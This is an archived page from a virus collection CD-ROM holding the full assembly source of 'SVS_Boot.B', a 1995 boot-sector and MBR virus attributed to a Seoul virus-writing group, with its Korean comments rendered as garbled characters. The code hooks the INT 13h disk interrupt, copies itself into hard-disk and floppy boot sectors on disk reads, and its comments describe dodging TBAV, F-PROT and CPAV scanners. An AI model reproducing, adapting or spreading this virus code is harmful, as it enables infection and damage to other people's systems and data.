home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
KOREACOL.ZIP
/
SVS.ZIP
/
SVS-B.ASM
< prev
next >
Wrap
Assembly Source File
|
1997-01-05
|
8KB
|
215 lines
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;
; SVS_Boot (Type B)
; *****************
;
; ╖íƒq : SVS_Boot.B
; öaƒe ╖íƒq : Assassin_Boot.B
; ╣A╕b╕a : ña╖í£ß»a╖ü ïí¼a (KOV : Knight Of Virus)
; ïa₧ô : ¼ß╢ë ña╖í£ß»a ╡e╨s (SVS : Seoul Virus Society)
; ╣A╕b╗í : ╨eèé (95.8.11)
;
; ┤σ┤ß : MASM / TASM
; ╣╖ƒA : ªü╦a / MBR
;
; ¼Θíw : KOV êa ╣A╕b╨e ªü╦a ña╖í£ß»a¥í MBR ╡A ╗ó╕≤ ës┴a░ß ñ߃Ñöa.
; ╕a┴A ªü╦╖ ïíôw╖i êa╗íëí ╖╢öa.
;
; ╖⌐ñe ïí┤Γ ╕w¡í ╡w╡b╖i 1 KB ║ë╖Ñöa.
;
; * SVS_Boot.A : ┬A┴í ñß╕σ╖íöa. 94æe╡A ╣A╕bûA┤÷öaëí ╨eöa.
; 360 KB ╢w╖a¥í ╣A╕bûA┤÷öa.
; ! SVS_Boot.B : 1.2MB ùí»a╟aòí êq╡q »í╟Ñöa.
;
;
;
;
;
;
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
BOOT SEGMENT PARA 'BOOT'
ASSUME CS:Boot, DS:Boot
Start: Jmp Virus_Start ; ╕±╧a
DB 59 dup (?) ; BPB ╡w╡b
; TASM ╖a¥í ─±╠a╖⌐ ╨iÿü BPB ╡w╡b╖i ╣▒ ñaÄü┤ß ╨iê⌡╖íöa.
; MS-DOS 5.0 ╡A áxëA ╣A╕bûA┤÷öa. /C ╡│¡e╖i ║üíe 60 ╖a¥í
; ï⌐ëA ╨ü┤í╨eöa.
Virus_Start:
cli ; »a╚é ╣í╕Θ
xor ax,ax ; AX=0000
mov ds,ax ; DS=0000
mov ss,ax ; SS=0000
mov sp,07c00h ; SP=7C00h
sti
; SCAN ╖e 413hêa ê±┬ëûAíe ªü╦a ña╖í£ß»a£aëí ╗Ñöe╨eöa.
; └qëí¥í ╖í ña╖í£ß»aôe TBAV,F-PROT ╡A¼ß ╗Ñöe┤eûEöa.
CLD
mov bx,1304h ; Unknown ╡A ê±┬ëûA╗í ┤gïí╢ß╨q
xchg bh,bl ; BX = 0413h
dec word ptr ds:[bx] ; 1KB êq¡í(ña╖í£ß»aêa ¼a╢w)
mov ax,ds:[bx] ; AX╡A ║ë┤ßùe êt
mov cl,06 ; ¡Aïaáσ╦a ëü¼e
shl ax,cl
mov es,ax ; ES=DOS ╡A¼ß ¼a╢w┤e╨aôe ¡Aïaáσ╦a
mov si,07c00h ; ña╖í£ß»aôe 0000:7C00h ╡A ╢ß├í╨eöa.
xor di,di ; DI=0000
mov cx, offset Endvirus ; ï⌐╖í
repz movsb ; Ñó¼a
nop ; NOP╖i ┤e╨ü║üíe ╡b»í ê±¼éûEöa.
push es ; ña╖í£ß»aêa ╖╢ôe ë╡╖a¥í ╕±╧a
mov ax, offset Get_Int13
push ax
retf
Get_Int13:
mov si,004bh ; Int 13h╖ü êt ┤Φïí
inc si ; CPAV ╖ü Viral Code B X
mov di,offset OldInt13 ; TBAV ╖ü Unkown ╖i ñw╗í╨a¥aëí
movsw ; êt╖i ╕ß╕w╨eöa.
movsw
Push cs ; DSôe CSêt
Pop ds ;
xor ax,ax ; ES=0000 ╗b, ╕ü ªü╦╖╨ië╡
mov es,ax
cmp byte ptr ds:[Sector],00 ; ªü╦╖ ║ù╖Ñ ùí»a╟a ê±¼a
jnz FloppyBooting ; ╧i¥í╧í╖⌐ ëw╢ü ╨aùa êq╡q
MOV BX,01AEh ; ╨aùa╖ü ëw╢ü ña╖í£ß»a Éüªü êt╖a¥í ªü╦╖
Next_PAT: add BX,+10h
cmp byte ptr [BX],80h ; DOS ╢w ªü╦a êt╖Ñêa?
jnz Next_PAT
MOV DX,[BX] ; SI¥í ╨aíe CPAV ╡A¼ß ╗ÑöeûEöa.
MOV CX,[BX+02]
JMP Read_OrgBoot ; ╕üªü╦╖╨q
FloppyBooting:
mov dl,80h ; ╧i¥í╧í ëw╢ü ╨aùa êq╡q »í╟▒
call Infect_BOOT ;
mov cl,byte ptr ds:[Sector]
mov dx,0100h
Read_OrgBoot:
mov bx,07c00h
mov ah,02 ; ╢Ñ£ü ªü╦a ╖¬┤ßùi╖íïí
call F_RWBoot2
ReBoot: xor ax,ax ; Int 13hƒi ña╖í£ß»aêa └a╗í╨aëí öa»í ªü╦╖
mov ds,ax
mov si,0040h ; 0:4Ch = Int 13h
mov word ptr ds:[SI+0Ch],offset VirInt13
mov ds:[SI+0Eh],cs
DB 0eah,00,7ch,00,00h ; JMP 0000:7c00h
Sector DB 03h ; 03=360KB
; 1.2MB ╖ííe 0Eh ; 0E=1.2MB
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
; ña╖í£ß»aêa êa¥í└ü¼ß ¼a╢w╨aôe Int 13h
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
VirInt13:
cmp dl,01 ; C ùa£a╖íºa ╖ííe êq╡q╣A╢A
ja Jump_Int13
cmp ah,02 ; ùí»a╟a ╖¬ïí ╖Ñêa?
jnz Jump_Int13
call Infect_BOOT ; êq╡q ╤í┬ë
Jump_Int13: DB 0Eah ; ╕±╧a
OldInt13: DD ?
Infect_BOOT:
Push ax ; ╕ß╕w
Push bx
Push cx
Push dx
Push si
Push di
Push ds
Push es
Push cs ; CS=DS=ES
pop ds
Push cs
pop es
mov ah,02h ; ªü╦a ¡B╚ß ╖¬ïí
call F_RWBoot ; ï⌐╖íƒi ║ë╖í¥aëí ═w¡e╤┴
jc Exit
mov ax,DS:[0123h] ; ña╖í£ß»a êq╡q ╡aªü ê±¼a
cmp ax,DS:[0323h]
jz Exit ; êq╡qûA┤÷╖aíe Å{Éüïí
GetBPB_ErrMsg:
cld
mov si,0203h ; ╢Ñ£ü BPB╖ü Éü╢w╖i Ñó¼a╨eöa.
mov di,0003h
mov cl,59
repz movsb
mov si,offset Endvirus+200h ; ╡A£ßíA»í╗íƒi Ñó¼a╨eöa. öe, ╖íêt╖e ña╖í£ß»a
mov di,offset Endvirus ; ï⌐╖íêa ï⌐┤ß╗ííe ïa╡A áx┬ü┤ß ñaÄü┤ß ║ü┤ß┤í
mov cx,512
sub cx, offset Endvirus ; ╨eöa.
repz movsb
mov byte ptr ds:[Sector],00 ; 00╖ííe ╨aùa ùí»a╟a╖▒
cmp dl,80h ; ╨aùa ùí»a╟a╖Ñêa?
jz Write_BV
mov ah,03
Mov bx,0200h ; ╢Ñ£ü ªü╦a │aïí
mov cl,03
mov dh,01
cmp byte ptr ds:[215h],0FDh ; 360KB ╢w╖Ñêa?
jz Write_OrgBoot
mov cl,0Eh ; 1.2 MB ùí»a╟a╖ü ₧ü╦a Å{
Write_OrgBoot:
call F_RWBoot2
mov byte ptr Sector,cl
Write_BV:
mov ah,03 ; ªü╦a ¡B╚ß╡A ña╖í£ß»a │aïí
xor bx,bx
call F_RWBoot1
Exit:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
R_InfectDsk: RET
;<><><><><><><><><><><><><><><><><><><><><><>
; ùí»a╟a╖ü ╖¬ïí/│aïí ╤í┬ë ═w¡e
;<><><><><><><><><><><><><><><><><><><><><><>
F_RWBoot: mov bx,0200h ; ñß╠ß ║ü¡í
F_RWBoot1: mov cx,0001h ; ïíÑÑêt╖e ªü╦a ¡B╚ß
mov dh,00 ;
F_RWBoot2: mov al,01 ;
mov di,0003
callInt13: pushf
call dword ptr cs:OldInt13
jnc Return
dec di
jnz callInt13
stc
Return: ret
Virus_name DB 'SVS.B' ; ña╖í£ß»a ╖íƒq
Endvirus:
Boot ENDS
END START